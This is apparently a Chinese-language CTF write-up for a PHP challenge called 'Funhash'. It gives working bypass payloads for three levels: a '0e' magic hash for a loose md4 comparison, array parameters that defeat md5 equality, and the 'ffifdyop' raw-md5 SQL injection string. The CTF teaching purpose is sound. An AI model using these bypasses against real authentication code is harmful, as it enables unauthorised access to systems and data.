Funhash
打开环境
简单的分析一下 三个level 一个一个过吧
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
die('level 1 failed');
}
判断条件 hash1的原始值要等于 hash1的md4加密值 就是加密前和加密后 相同就能过了
这个和 MD5($_GET['name']) == MD5($_GET['password']) 这种市相同类型的
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。
撞一个md4 给出字符串
0e251288019
给出 payload : ?hash1=0e251288019
第一关绕过,下面绕过第二关
//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
die('level 2 failed');
}
判断条件 hash2不能和hash3全等( === 全等) hash2的md5要和hash3的md5相同 ( !== 不全全等)
这里用的 === 那么就不能 使用 上面的方法
我们使用php中md5的特性来绕过
md5([1,2]) == md5([3,4]) == NULL
我们使用数组
传入 hash2[]=1&hash3=[]=2
payload= ?hash1=0e251288019&hash2[]=1&hash3[]=2
成功绕过 第二关 ,下面开始第三关
//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc();
var_dump($row);
$result->free();
$mysqli->close();
是一个 sql注入里面的 md5
平常绕过一个password
SELECT * FROM flag WHERE password = ' ' or 1=1'
那么 ’ or 后面要接上一个 为 true 的表达式
SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'
那么目的就明确了 md5($_GET["hash4"],true) 这里要为 true
参考 http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/
https://www.pianshen.com/article/789754585/
我这里直接给出
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621
craw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b
payload : ?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop
得到flag
flag打码
成功解决、
给出参考
https://www.pianshen.com/article/789754585/